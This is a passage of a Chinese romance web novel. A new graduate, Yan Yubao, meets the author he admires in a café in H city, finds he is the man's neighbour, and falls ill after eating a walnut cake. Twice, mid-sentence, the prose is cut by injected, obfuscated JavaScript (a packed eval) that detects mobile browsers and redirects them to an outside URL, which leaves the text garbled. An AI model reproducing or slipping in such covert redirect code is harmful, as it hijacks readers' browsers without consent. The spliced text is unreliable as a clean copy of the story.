“啊……既然学长对我不感兴趣,那我、我就先走了。”看到来了人,小男生像是怕丢脸又像是怕尴尬,收回手,慌慌张张地就想跑,跑到一半又想起来什么,返回说:“祝、祝两位学长前程似锦,毕业快乐!” “哎你先等下!”看他拔腿就要逃窜,曲阮及时喊住,将手机递了上去:“先帮我们拍张照片行吗?” “哦好的……”小男生停下接过,看着镜头里面靠得极近的两人,面色古怪地按下了快门键,接着将手机递回:“好了,你看看。” “谢谢啊。”等小男生走后,曲阮翻看着刚刚拍下的照片,边用双指放大边忍不住吐槽道:“这是今天第几个了?学妹就算了,怎么还有学弟来跟你表白的……” 言于薄甚至都没意识到那个人是在跟自己表白,他说:“不清楚。” 算了,好兄弟受欢迎也不是一天两天的事情了,看了眼他手里抱着的一叠资料,曲阮指了指问:“你之前跟我说的那个心仪的公司,收到入职通知了吗?” “嗯,收到了。”言于薄点头,问:“你还准备考研吗?” 说到这个,曲阮就心烦叹气,十二月考试单科卡线三分失利,当时难过了好长一阵,还是靠言于薄不停地安慰才撑过那段宛如失恋的悲伤时期,他苦着脸说:“考啊……话说你成绩这么好,不去试试吗?” 继续读书意味着更多的支出与开销,即使内心确实有这个想法,但言于薄还是摇了摇头,说:“暂时没有这个打算。” “好吧。”本来还想找个伴,激励一下自己什么的,现在只能独闯,曲阮瘪了瘪嘴,抬头说:“那你下午……” “下午三点多的高铁票。” “去哪?” “H市。” 毫不意外的答案。 “一年跑八趟,平均一个季节跑两趟,最后还要留在那里工作。”自从言于薄自己去过一次H市,就像是打开了新世界的大门一样一发不可收拾,回想这一整年言于薄去那里的次数,曲阮实在不能理解这样的行为。 他仰天感叹道:“H市到底有谁在啊!” 听到最后一句话,言于薄笑了声,看起来不太有所谓地说:“嗯......就去玩玩,放松放松,不也挺好的?” 平时那么节省的一个人,怎么会突然爱往外跑,而且还是往同一个地方跑,曲阮其实不太相信,只好故作敷衍地“嗯嗯嗯”了几声。 他上前,像平常一样挽着言于薄的胳膊,说:“我还得过几天才能回那边,三点多的票现在还来得及,走走走,先去餐厅吃顿饭,我妈在外面等着咱俩呢。” 言于薄本不想多麻烦,但招架不住曲阮拉着胳膊软磨硬泡,推脱半天,还是被带到了附近的商场吃了顿火锅。 本以为这就完了,结果一顿饱餐结束后,对方又陪着回来拿了行李,主动开车,硬是把自己送到了高铁站送客人进不去的地方。 “谢谢。”言于薄对冲自己笑的曲阮说。 “都认识多少年了,怎么还跟我客套这些啊?”上前拥抱了一下,曲阮乐呵呵地说:“你记得把租房的地址发给我啊,我跟我妈在这边玩一段时间,到时候回H市就去找你。” “好。”言于薄拍了两下他的背,分开,说:“回头见。” 告别完,言于薄排队过了安检,又在挤满人的候车区站着等候了一会,就上了车。 中午被投喂太多,踏进车厢找到位置坐下,将缠成一团的白色有线耳机解开戴上,他头靠在座椅枕上,觉得有些乏困,没过一会便彻底歪了脖子,抵着车窗,阖起眼睛睡着了。 醒来的时候已经到站,听着周围人嘈嘈切切地谈论着今天的天气,言于薄搬下架子上放着的行李,背起背包,下车。 第九次。 站口还是老样子,与第一次来到这里相比,眼前的景象已经没有那么陌生了,但天气却意外的相似。 外面依旧下了小雨,黑车司机站在台上吆喝揽客,地铁和网约车的地方人都太多,言于薄挤不进去也不想再挤下去,最后只好匆匆戴上卫衣帽子,拖着行李,直接出了站。 他想走到一个人少的街角打车,可还没走远几步,微雨突然变大,三秒钟的时间,天空便像是被划开了道巨大的口子般倾落雨水,整个城市顿时被黑云笼罩,变得乌泱泱一片。 反应过来发生了什么后,言于薄来不及多想,他快速将背包移动于胸前,左手护着那只陪了自己一年多的小狗挂件,右手拉着笨重的行李箱,奔跑到了最近的一家咖啡店门口。 拍了拍身上的水渍,看着被雨水无情冲刷的柏油街道,他叹了口气,觉得这场景怎么看怎么熟悉。 这么大的雨,有伞也回不去。 适时想到这句话,言于薄眸光黯淡了些,他抿紧嘴唇,随手抹了把脸上的水,将胸前的包转回,蹲下,慢慢地把自己被路边水花溅湿的裤腿边往上卷起。 稍稍抬起头,看到有人向这边走来,怕挡到别人的路,言于薄像只沙滩上的螃蟹一样,蹲着往外平移了几步,但当他稳住身体后,那双锃亮的黑色皮鞋却募地停在了自己脚前。 “嗯……?”顺着这双颀长的腿向上看去,四目相视的瞬间就像是被烫了一样避开目光,当看清对方的面容时,言于薄心猛地震了一下,颤了颤瞳孔,他重新低下了头。 怎么会…… 泛白的指尖还捏着刚卷好的裤腿,盯着那双皮鞋,他僵着身体,不知所措。 “言于薄。” 呼吸一滞,听到自己的名字被对方好听的嗓音喊出,言于薄下意识应了声,缓缓站起身,愣愣地看向他。 瞥了眼他被水花打湿的裤脚,宸凛寒平声问:“还没有弄好?” 言于薄说:“好、好了。” 男人独特的成熟气息萦绕在自己身旁,他盯得出神,直到再次对上视线,才想起来问:“那个……” 他想说真巧,又想问您是否还记得我,但想说的话像炽热的小球般在嘴里滚了半天,最后还是没能宣之于口。 见他卫衣裤子湿了一片,脸上还滑落着颗颗水珠,半分钟过去,发白的嘴唇嘟嘟囔囔的什么也没说出,宸凛寒渐渐消磨了耐心,直截了当地问:“着急走吗?” 言于薄没明白这句话是什么意思,但还是摇头说:“不着急。” “跟上。” 再反应过来时,对方已经推开咖啡店的门进了店内,门上的铃铛声清脆悦耳,与雨声交织在一起,言于薄眨了眨眼,拨了一下自己黏在额头的碎发,拉起行李,朝那个背影跑去。 店内。 咖啡馥郁的香气浓烈扑鼻,宸凛寒左腿跷于右腿上,双手交叉抱着左腿的膝盖,偏头望向窗外的街道,时不时正回头,看一眼坐在对面流露出不安和紧张的小孩。 手心不断传来滚烫的温度,驱走了暴雨带来的寒意,言于薄捧着刻着精致浮雕的白瓷咖啡杯,透过飘起的氤氲热气,偷偷注视着面前熟悉又陌生的先生。 刚入夏不久,天气却已经炎热,先生似乎有些怕冷,在纯黑色的短袖外又套了层薄薄的浅灰色夹克,外面糟糕的阴雨天,却显得手腕上那只蓝色的腕表更加夺目靓眼。 那天在便利店见到的人果然就是凛冽,这个结论在发现另外一个买烟男人是先生朋友时就已经得出,如今算是得到了确认。 再往脸上看去,言于薄正好对上对方投来的视线,他一紧张,掩盖似地抱着装满热咖啡的杯子喝了一口。 好苦。 简直跟中药一样。 之前不怎么喝这些东西,最多在学校的店里买过,还是那种各种风味的甜水,现在就这么一小口,言于薄就差点被苦出眼泪,他缩回舌头,强迫自己忽视口腔里的苦味。 刚从外面办完事回来,本想在就近的店里买杯咖啡提个神,却没想到碰到了这小孩,注意到他的反应,宸凛寒坐起身,说:“先放下,去要包糖。” 言于薄乖乖放下手中的杯子,却摆了摆手说:“还好,不怎么苦的。” 明显强撑,宸凛寒不多说,抬手叫来了服务生。两分钟后,言于薄的面前多了一包太古白砂糖和一份用白色盘子装着的,顶部点缀着薄荷叶微微融化的香草冰淇淋。 咖啡是因为想和先生多待一会才点的,现在又上了这样一份冰淇淋,言于薄有些懵,他指着说:“这个……” “不爱吃甜的?”宸凛寒问。 按照平常的习惯,言于薄并不会收下别人给的任何东西,但这个不一样,是凛冽给的,所以他说:“能吃的,谢谢先生。” 还以为他不会要陌生人给的东西,但小孩终究是小孩,宸凛寒觉得是自己想得太多了,看着面前又一次淋成落汤鸡的小人,他撑着头问:“这次是因为什么来了这里?” “我毕业了。”言于薄眼睛亮亮的,看向他说:“之前来这里觉得景色好,朋友也是本地人,所以……所以以后想在这里定居。” 宸凛寒对于言于薄的印象,还停留在对方戴着口罩,抱着本子要求自己签名时的模样,转眼一年过去,小孩的面孔貌似褪去了青涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352435|198629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但那双眼睛,却依旧清澈如泉水。 他端起咖啡,随口问:“来过H市几次?” 听到这个问题,言于薄撒砂糖的手一抖,一不小心将整包糖都倒了进去。 很细小的动静,宸凛寒掀起眼皮:“嗯?” “一、一次。”抿了下被咖啡浸得泛苦的嘴唇,言于薄迫使自己看着对方,回答道:“就是遇见您的那一次。” “第一次见面的时候,你还不会对我说敬语。”生活中,除了一些晚辈同事,宸凛寒很少听人会这么喊自己,他喝了口咖啡,漫不经心地问:“怎么突然改了称呼?” “因、因为……”言于薄移开视线:“之前我不知道您的身份,但是去年您来我们学校做了讲座,所以......所以......” 所以了半天也说不出具体原因,宸凛寒放下手中的咖啡杯,没再等,直接递给他搅拌勺,说:“我知道了。” 观察着他的表情,言于薄伸手接过,搅拌杯中打着漩涡的摩卡,犹犹豫豫地问:“是不能喊吗?” “按你自己的习惯。” 没得到确切的回答,言于薄有些着急,他倾身继续追问:“那……” “喊吧。”宸凛寒将装冰淇淋的盘子推向对面,声音没什么波澜。 他没有再给对方再询问的机会,而是接着上面未说完的话题,说:“只来了一次就决定在这边长久生活,父母都同意了吗?” “我没有父母。”言于薄望着他,不遮遮掩掩,坦言道:“我是孤儿,所以……也不需要所谓父母的同意。” 他笑说:“想来就来了。” 这个回答确实出乎意料,看着他相对同龄人来说稚嫩的脸庞和瘦弱的肩膀,宸凛寒怔了下,带有歉意说:“抱歉。” “没事儿。”长这么大,言于薄早就不在意这些了,比起这个,他现在更想珍惜能与先生呆在一起的短暂时光。 他用刚刚搅拌咖啡的勺子挖了一小勺冰淇淋,放进了嘴里。 咖啡液与纯白甜腻的冰淇淋融合,味道竟意外的好,口腔里的苦涩终于被中和,言于薄端起盘子,一勺一勺地品尝。 看他吃得开心,宸凛寒视线向下,往身边瞥去:“今天没带伞?” “唔……带了。”见先生两手空空,言于薄含着沾着冰淇淋的勺子,因为太冰牙而微微张开嘴,口齿不清晰地说:“如果先生需要,我的可以给您。” “不用。”宸凛寒偏头看向门口的那辆黑色轿车,示意道:“我的车就停在外面。” “哦……” “工作找到了吗?” “找到了,明天就可以入职。” “房子呢?” “租好了。” “等会送你回去。” “嗯,好……” 等等。 言于薄挖冰淇淋的手一顿,直接悬停在了空中,他抬头,看着面前的人,连忙再次摆手道:“不、不麻烦了,我自己可以回……” “这场雨会下到半夜。”翻看着手机中显示的天气预报,宸凛寒打断了他,语气平静无波地说:“如果你想等到雨停,会很晚。” 他扫了眼小孩的裤腿,淡淡地说:“袜子已经湿透了。” 听后,言于薄侧脸看了眼,当看到自己袜子表面被污泥沾染的脏迹时,他尴尬地蜷缩了脚趾,迅速地弯腰,将裤腿放下,遮掩住。 “本身裤子就是湿的,坐了这么久里面的裤子也被浸湿了吧。”宸凛寒放下手机,看向他:“不难受?” 愣了下,意识到他口中的“里面的裤子”指的是自己的内裤,言于薄耳根瞬间染上薄红,他低下头:“先生……” “你可以选择拒绝。”宸凛寒没觉得这有什么,他也只是看小孩坐在皮质沙发上,总是不舒服地动来动去,所以才这么提议。 现在见他脸上布满了疑似窘迫的红色,宸凛寒神色不变,整理着衣服,放出另一条选择:“不需要就坐在这里休息会,我会去跟店员商量把这边的位置留出来。” 不想麻烦。 但想与他多呆一会,哪怕只有一刻。 言于薄咬紧了嘴唇,在宸凛寒放下跷起的腿,起身准备走的那一刻,借助微薄的胆量,喊住了他:“先生。” 他抬头:“您……您还是送送我吧。” 宸凛寒侧身睥睨:“还吃吗?” 咖啡基本没动,盘子里剩下的冰淇淋也都化成了奶浆,言于薄说:“不吃了……” “嗯”了一声,宸凛寒拉着小孩沉重的行李就往门口走去,提醒道:“书包背好,仔细点,别落下东西。” 书包…… 瞥见那只小狗挂件,言于薄在一刹那间,浑身突然变得冰冷,他不知道对方有没有看到,也来不及去想如果看到了该怎么解释,只是僵硬着身子,点了点头。 见状,宸凛寒推开店门,微不可察地勾起了唇角:“落下了会带你回来取。” “又不会罚你,紧张什么?” 7.陌生人与陌生人 宸凛寒的车就停在离咖啡店门口很近的地方,头顶有遮蔽物,连伞都不需要撑。 一眼锁定,言于薄将小狗挂件拿下藏在包里,双肩背起跟了上去。 走到车旁,他本想拉开门坐在后座,却被对方客客气气地请到了副驾。 “安全带。”像是真的在照顾一个不能自理的孩子,旁看他缓慢做完全程,宸凛寒捋起袖子,转动钥匙发动车,下巴点了点车前的中控屏,言简意赅道:“输地址。” 耳根仍因为出店的最后那句话发着烫,言于薄没反应过来,直到耳畔传来自己的名字,才拉回思绪,讷讷地应道:“好、好的。” “你一直都这么喜欢走神吗?”不论是第一次还是这次,都出现了这种情况,宸凛寒本身是个喜欢慢节奏生活的人,但这不代表他能忽视别人经常性地长时间跑神。 言于薄还在努力研究面前复杂的导航系统,听到这么一句像是责备的话,他顿了下,说:“对不起。” 听到道歉,宸凛寒微微皱了眉,却在看到屏幕上方的地址后渐渐舒展开,他手握方向盘,不经意问:“住在这里?” “对。”言于薄解释道:“这里离公司近,上下班很方便。” 这是个偏高档的小区,离市中心有一段距离,占地不大,绿化环境却很好。作为一线城市,H市房租比较高,但很幸运,这个本来准备一直空着这套仅仅只有五十多平米房子的房东,最近正好缺钱,干脆就低价租了出去。 言于薄自认为捡了大漏。 确认小孩家住的地址,宸凛寒的表情有一瞬的变化,但很快又恢复原样,他颔首表示知道了,接着踩下油门,按照导航的播报行驶。 外面雨未停,甚至没有一点要变小的趋势,前后窗户封闭,车内开着冷气,通风口朝下吹,凉飕飕的,可言于薄却不觉得冷,只觉得浑身很热。 他想主动说些什么,却又不知道到底该说些什么,最后只好在万般纠结后,恭恭敬敬地低低喊了声:“先生。” “嗯?” 他鼓起勇气问:“您还记得我吗?” 瞥了他一眼,宸凛寒有些不理解这小孩思路的跳脱,他没回答,而是调高温度,伸手将对着小孩肚子的吹风扇往上抬,反问:“如果不记得,那我刚刚和现在是在做什么?” 拐卖儿童么,他心想。 看着伸到自己面前的那只胳膊,言于薄把这句话自动地在脑子里做了个变通,明白含义后,他忍不住翘起嘴角,开心地笑着说:“我也记得您。” “知道我叫什么名字?” 虽然不明白他为什么这么问,但言于薄还是乖乖地作出了回答,像是练习了无数遍一样说:“知道,先生姓宸名凛寒,宏宸万里的宸,凛冽寒风的凛寒。” 清亮干净的声音撞入耳朵,宸凛寒弯唇,却不改语气:“完整喊一遍。” 言于薄不设防备,对方让他喊,他就认认真真地说了一遍:“宸凛寒。” “所以喊出我的姓名也不是一件很困难的事情。”正好遇红灯,宸凛寒踩下刹车,看向身侧从刚刚起就一直盯着自己的小孩:“对吗?” 万万没想到是这个意图,触上他略带玩味的视线,言于薄先是一懵,下一秒,呼吸就开始变得错乱,他红着耳朵偏过了头,磕磕绊绊道:“对、对的......” 用余光看了眼他紧紧抓着安全带的双手,宸凛寒指尖敲着方向盘,不再提关于称呼的问题,而是说:“我车技不错。” “什么?”言于薄没明白。 前方红灯变绿,宸凛寒踩下油门,转打着方向盘,飘来一句:“不用抓这么紧。” 言于薄本以为这只是句调侃的话,但后半段的车程告诉他 先生的车技确实很好。 宸凛寒开车不冲不抢不急躁,即使是遇到一百八十秒的信号灯,表情也从未改变过,只是将手搭在窗外等候,就像他做人做事的风格,很稳。这让本身有些晕车的言于薄,在一路红灯的情况下,也没有一丁点头晕的感觉。 这是前所未有的情况。 因为次次偷看都被发现,言于薄后面没好意思再往身旁投去视线,而是心不在焉地赏着沿途的风景,直到快要到小区门口时,才忍不住开口说:“先生。” 甚至都没坚持到家,宸凛寒暂时不想再管这小孩的称呼:“怎么了?” “您等会把我放在路边就行。” “丢在路边?”宸凛寒向他确认。 “嗯……”虽然知道后面几乎不可能再相见,但言于薄还是看着他的侧脸,点了点头,说:“谢谢您送我回来。” 他伸手指向窗外,说:“让我在那边下去就好,这个小区外面的车也进不……” “送你进去。”都已经到了这里就没有再给他拒绝的机会,说话期间,挡车杆升起,宸凛寒已经开着车下了小区的地下车库。 向下绕了两圈,他快速找到位置停好,下了车,将放在后备箱的行李搬出,拉到副驾驶,打开车门,对着里面还在目视前方,努力思考的小孩问:“哪一栋?” 事情发生得太快,以至于言于薄都来不及反应,他抬头看着面前的人,张了张嘴,迟疑地说:“您……” “下车。”像是在立什么规矩一样,宸凛寒说:“先回答问题再提问。” “十、十五栋。”对方的气场太过于强大,再加上地下停车场的阴冷,言于薄被压得低下了头,他下车,亦步亦趋地跟着那宽硕的背影走,嘴里还在小声念叨着:“您怎么会……” “我也住在这里。”没看任何指示标,宸凛寒熟练地往十五栋的电梯方向走,“周围安静,环境不错。” 听到第一句话的瞬间,言于薄就像是被强力胶水粘住了般募地停了脚步,在原地愣了几秒,渐渐地,他的心里冒出一朵被复杂情感浇灌而出的花苞。 “先生真的住在这吗?”他赶上去问。 “我有什么骗你的必要吗?”宸凛寒走进电梯,“几楼?” “十七楼。”言于薄后脚跟上,他站在自己最喜欢的作家身侧,偷偷掐了一下手心,确认这不是荒诞无稽的梦后,小心翼翼地问:“那您住在哪一栋?” 问完,周围的温度似乎下降了不少,言于薄捂住嘴,意识到自己说错话了。 这种问题怎么能乱问啊!? 看对方并没有回答,而是在楼层到达后,默声地拉着行李箱往外走,他咽了咽口水,快步跟上,无措地说:“先生,我不是想唔——” 一声闷痛呼喊,宸凛寒松开箱子,停下脚步,拉开了因为忙着解释而没看路,直直撞进自己胸膛的小孩。 他拨开言于薄沾了水的碎发,拇指在他皮肤上摩挲着,确认眼角和额头没有磕碰到金属拉链后,问:“不是想什么?” 脸被指腹碰到的地方很烫,待到对方垂下手,言于薄自觉地往后退后一步,保持距离,说:“不是想打探您的隐私……您可以当我没问过那个问题......” 见他还是不说话,只是轻轻笑了声,言于薄更担心了。 尤其是对方握住隔壁门把手时,他觉得先生肯定是气着了才会弄混淆两间房的门牌号,于是言于薄上前一步,提醒道:“先生,不是这间,我租的房子在隔壁。” “嗯,我知道。”话音刚落,滴的一声,指纹匹配成功,门开了,宸凛寒看着已然呆住的小孩,神色平常地说: “进来坐坐?” “坐......”言于薄脑子绕了整整一大圈,当心里的那朵初长成的花苞尝到甜味彻底绽开后,他眨了眨眼睛,缓慢地点了点头,颤着声线说:“嗯好、好……” 想到身上这幅狼狈的模样,他又抖着嘴唇,请求道:“但是我能不能……” “去。”知道他要说什么,宸凛寒抬腕看了眼手表,说:“我在这等你。” 得到许可,言于薄稳住难以压抑的激动情绪,从包里掏出钥匙,打开自家的小门,进去在地上翻开行李箱,以最快的速度在狭小的客厅里换了套干净整洁的衣服,紧接着便匆匆跑出,兴奋地说:“先生,我好......” “换鞋。”宸凛寒将外面鞋架上的一次性拖鞋拿给他,接着对闻声从房间走出来的男孩招手:“伊逸泽,过来。” 男孩抱着小卡车跑到他的面前,昂起头问:“怎么了?” “跟客人打招呼。”宸凛寒摸了摸他的头,又拍了下他的肩膀,侧过身,说:“叫人。” 伊逸泽极力想拒绝,但又在骨子里畏惧面前这个人,于是只好硬着头皮探头,快速地说了句:“哥哥好。” “哦你好……”猜测是先生的孩子,蹲在地上脱鞋的言于薄偏过头,想好好地打声招呼,但还没说完话,那小男孩就迅速窜进了房间,连全脸都没露一个。 “他怕生。”看着紧闭的房门,宸凛寒领着换好鞋的言于薄进了家,“去沙发上坐会。” “好。”言于薄眼神没敢乱移动,他直直地走到沙发旁坐下,视线绕过私人区域转了一圈,最后停留在了几乎都是花草的阳台。 一眼望去,围绕着铁栏杆摆了半圈,种类很多,但大多都是经典的绿萝和文竹,从左往右,当看到最右边角落处的奇异植物后,言于薄站起身,走了过去,蹲下查看。 似竹非竹,叶片狭长,茎秆很细,边缘还带着细微的绒毛。 还没看出来这究竟是什么就听到了身后靠近的脚步声,言于薄抬起头,望着走到自己身边的人,喊:“先生。” 他站起身,本想脱口问“这些是您妻子种的还是您自己种的”,但想了想,还是将这些无礼的话咽了回去,指着角落的盆栽,改口问:“这是什么?” “生姜。” 注意到泥土有些发白的迹象,宸凛寒回答完,便把倒的温水递给言于薄,拿起放在旁边工具架上的喷壶,弯腰对着那盆刚冒出几枝芽的小生姜,避着芽芯喷了几下。 怪不得靠近的时候有股说不上来的味道,言于薄回忆着刚刚闻到的刺激气味,小声猜测:“应该会很辣吧......” “辣看不出来。”宸凛寒将小孩的嘀咕听得一清二楚,放回喷壶,他摸了摸那几片叶子,说:“等长大些,亲自来尝试。” 说完,他看向言于薄,却发现对方的神情与先前有些不同。 言于薄的眼睛盯着那盆生姜,脑子里莫名冒出了之前看到先生写的某些情节,再结合当下现实,他吞了口口水,耳根全然被染红,就连握着水杯的手也紧了些。 “这个习惯不好。” “嗯......嗯?”言于薄的视线因为这句话而回归到面前人的身上。 宸凛寒点到即止,他走到沙发旁坐下,看向还站在原地的小孩说:“过来坐。” 意识到他说的是什么,言于薄耳朵更红了,他走了过去,找了个相对礼貌的距离坐下,主动承认:“我跟您在一起的时候,好像是很容易走神。” “嗯。”就像在说今天的天气不好一样,宸凛寒的语气很平常,就是连眉头也没有皱一下,只是淡道:“是个坏毛病。” 言于薄攥紧双手,“先生说得是。” “言于薄。”已经不是一次这样,宸凛寒看向他,说:“即使现在我是主人你是客人,但我们的身份依旧是平等的,这一点是需要我明确跟你说明你才能明白吗?” 明明听起来不像是生气的口吻,却让言于薄像是被训斥般僵住了,他能感觉到先生有些生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396914|198629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,于是摇头说:“我明白。” “不用这么拘束。”宸凛寒拍了拍自己身边的位置:“坐近。” 言于薄往那边挪了点。 宸凛寒侧身:“刚刚在想什么?” 听到他这么问,言于薄偏过头,掩饰性地喝了口水,思索了很久,最后还是决定不作隐瞒:“我......” 没等他说完话,厨房响起了“叮”的一声,与此同时,空气中飘来丝丝香甜的气息,宸凛寒站起身,示意自己过去一趟:“坐在这等我,回来给我答案。” “哦……”言于薄说:“好的……” 对方一走,言于薄就用手抱着自己的头埋下,心跳加速,整张小脸通红通红的,就像是在做梦般,头脑眩晕得不像话。 让你脑子里成天装着那些东西,现在好了,又给先生留下了不好的印象。 言于薄在心里暗自懊恼,却没忍住歪头向厨房偷偷看去。 客厅和厨房中间没有遮挡物,厨房门也没有关,看着先生挺拔的背影和怎么样都难以忽视的凌厉侧脸,当意识到自己又在目不转睛地盯着对方,观察对方的一举一动时,一瞬间,他正回了身,反应过来。 自己这是在做什么? 还没想清楚,宸凛寒已经端着一碟刚出炉香喷喷的蛋糕回来了,他将盘子放在面前的桌子上:“吃点?” 焦糖混合着蜂蜜的香味飘入鼻中,言于薄看着那一盘色泽诱人的杯子蛋糕,有些惊喜地问:“这是您自己做的吗?” “嗯,家里小孩要吃,出去前烤了一盘。” 言于薄看了眼刚刚小男孩跑进的房间,说:“那他......” “睡着了,饿了会自己爬起来。”宸凛寒坐下,挑选了一块料最多的蛋糕递去,“想好回答了?” “想好了。”双手接过递来的蛋糕,言于薄礼貌地道了声谢,说:“我就是在想,您说的生姜要怎么尝才好,所以走了神......” “你想怎么尝?” “什么?”蓦然被打断,言于薄一哽,脸色绯红地说:“我听先生的。” 看着他那双目光炯炯的纯净眼睛,再想到今天网站上面跟自己商量关于后面活动的事情,宸凛寒不明意味地笑了声,掀过这件事,转了话题:“言于薄。” “嗯?”蛋糕刚送到嘴边,听到对方喊自己,言于薄立刻拿下,应道:“怎么了先生。” “追星吗?” “为什么突然……”言于薄不明白这个问题从何而来,但他不想让对方等太久,于是思考一番,实话实说道:“不算,如果硬要说有喜欢的人,那就是追,但……” 他看着宸凛寒:“只追一个人。” 大人的劝说听多了,倒是想听听单纯的小孩会怎么想,宸凛寒说:“最近网上有个做完活动在回去的路上被粉丝跟踪扒出住处,闯入家中的明星,知道这件事吗?” 听到这,言于薄的心像是踩空了般猛然停滞,他不明白先生这是什么意思,也不想揣测先生是什么意思,只好魂不守舍地咬了口蛋糕,磕磕巴巴地说:“好像、好像有点印象。” “对于这件事情。”宸凛寒向后仰,阖上眼睛问:“你的看法是什么?” 言于薄沉默片刻,低下头,鼻子莫名有些酸:“我觉得这个行为不对。” 宸凛寒不继续追问,只是抱着手臂,点头说:“吃吧。” “那先生呢?” “嗯?” “您的看法是什么?”言于薄咽了下口水,紧张地扣弄着手指,他问:“这种人在你心目中会是什么样的?” 似是没想到他还会反问回来,宸凛寒睁开眼睛,眼神锐利了些,他缓缓启唇道:“对这种人,没什么想法,也没什么可说的。” “表达喜欢的方式有很多,这是最无能的一种。”他转头,看向言于薄,语气随意却强硬:“你认为呢?” 言于薄被看得心一颤,他揪紧裤子的布料,躲避视线,咳嗽了几声:“我认为……认为您说得对......” 见状,宸凛寒抽了几张纸递给他,起身去了厨房。 看先生离开,言于薄想起他刚刚所说的话,再类比自己现在正在做的事情,慢慢地,他的眼睛在无意间湿润了些。 要不然换一套房子,应该还来得...... “住在隔壁方便,以后在这个城市遇到困难,可以来找我。”宸凛寒将刚刚用微波炉热好的牛奶递到他的手中,看着他不太好甚至可以称得上难看的脸色,问:“身体冷?” “啊......没有。”像是要证明什么,言于薄接过杯子,一口气喝了大半杯,舔了下沾在嘴唇上的白色奶沫,又咬了口蛋糕,口齿含糊地说:“谢谢先生。” 松软的蛋糕在嘴里,言于薄却没心情去嚼,对方不说话,他就这样藏着难过,一点点地蔫蔫吃着手中的蛋糕,只不过越吃心跳得越快,心悸的感觉也随之变得明显。 “言于薄。”宸凛寒注意到了异常,他垂眸睨视:“如果不好吃就放下,没有人逼着你吃完这块蛋糕。” 言于薄点了点头表示明白,再吃一口,牙齿突然咬到什么坚硬的东西,他停止了咀嚼。 “先生。” “说。” “这是什么味道的?” “桂圆核桃。”发觉小孩怔了一下,宸凛寒说:“用蜂蜜代替了糖,吃不习惯放桌上。” 不说还好,一说言于薄就感觉口腔中多了股坚果的独特香味,他试着又嚼了两下,但还是摇了摇头,坚持将最后一块裹满核桃仁的蛋糕放进嘴里,吞咽下去:“能吃习惯。” 他弯起眼睛,冲面前的人笑着说: “先生做得很好吃。” 8.邻居与邻居 “唔呕——” 十分钟前才吐过一轮,现在又有了反胃的感觉,言于薄捂嘴奔向卫生间,用双手捧着清水漱了几次口,难受地扒着还没来得及收拾和清理的洗漱台面,弯腰扶桌,止不住地咳嗽。 目光上移,看向镜子里面的自己,嘴角往下流淌流着浑浊的津液,鼻尖泛粉,眼睛红肿,整个人狼狈又不堪。 再偏头看了眼旁边瓷砖墙面上刚贴上去的几张照片,他重新低下了头。 吃蛋糕的时候还没有异样的感觉,本来以为脸上没有出现瘙痒的异感应该就没什么事,没想到与先生道别回家的半个小时后,却突然开始恶心呕吐。 现在已经来来回回吐了三次,言于薄感觉自己胃都要被清空了,他拿旧毛巾洗了把脸,左右摇了摇昏胀的头,长长呼出一口气,确认没有想吐的感觉后,才虚着步子回到客厅,从包里拿出之前曲阮硬塞给他的过敏药,就着凉水仰头吃了两粒 。 看着行李箱中剩下没整理完的物品,言于薄深吸一口气,决定一鼓作气整理完。 他的东西不多,除了一些没舍得扔的学习资料以外,大多都是最基础的日用品,衣服也只有寥寥几件,但是出租房的卫生不太好,家具也有些老旧,他只好先将房子完整地打扫一遍,防止后续出现生虫的糟糕情况。 扫地、拖地、刷池,清扫完所有已是傍晚黄昏,言于薄想休息会,再去楼下的商超买桶泡面糊弄一下晚饭。 他从沙发上站起身,可还没走几步却突然头一昏,眼前一黑,除了白色的漩涡以外什么都看不见,下一秒,整个人就像是失去意识般跌跌撞撞往前冲,最后啪嗒一声直接撞到了门框,摔倒在了木地板上。 就这么像件雕塑一样在地上趴着静止了很久,言于薄依旧没有缓过来,他试图从口袋里掏出手机,却没法控制自己的手,只能靠意志尽力保持清醒。 身体一直贴着刚拖完还潮湿的地面,大概过了十分钟左右,四肢终于重新有了知觉,言于薄先是尝试动了动小腿,发现不麻了后,接着便用力,从冰凉的木板上爬起了身,扶住了面前的门把手,扶头凝聚视线。 回到卫生间,发现脖子处又开始变得像之前那样红肿,甚至比以前还要严重些,前后摩挲了两下,他叹了口气。 还是要去医院…… 这么想着,言于薄从门口鞋架的最里层掏出了一个平常用不上的黑色塑料袋,折叠好后揣在口袋里,以防止自己忍不住吐在半路。 他拉下把手打开门,在手机的地图上翻看离家最近的诊所,筛选一个现在还能提供治疗的,嘴里自言自语地念叨着:“这么晚了医院门诊会不会下班了......” 刚往外迈出一步,隔壁传来了动静,言于薄疑惑地扭头往旁边看去,当看到穿着运动常服走出的先生后,他睁大眼睛,下意识地就想掉头回屋。 半只脚都踏进了房间,又觉得这样太过于刻意,快速思索了两秒,言于薄又一百八十度转回了身,用手遮住自己泛红的脖子,偏过头,轻轻打了声招呼:“先生,晚上好。” “嗯,晚上好。”宸凛寒颔首,在门口换完鞋,看着神情不太自然的小孩,他走了过去,问:“要出去?” “对。”言于薄没看过去,仍然保持着回避的姿势,用余光瞄到对方手里的东西,他伸出手,嗓音带着连自己意识都不到的沙哑:“正好有事要下楼,需要我帮您扔垃圾吗?” 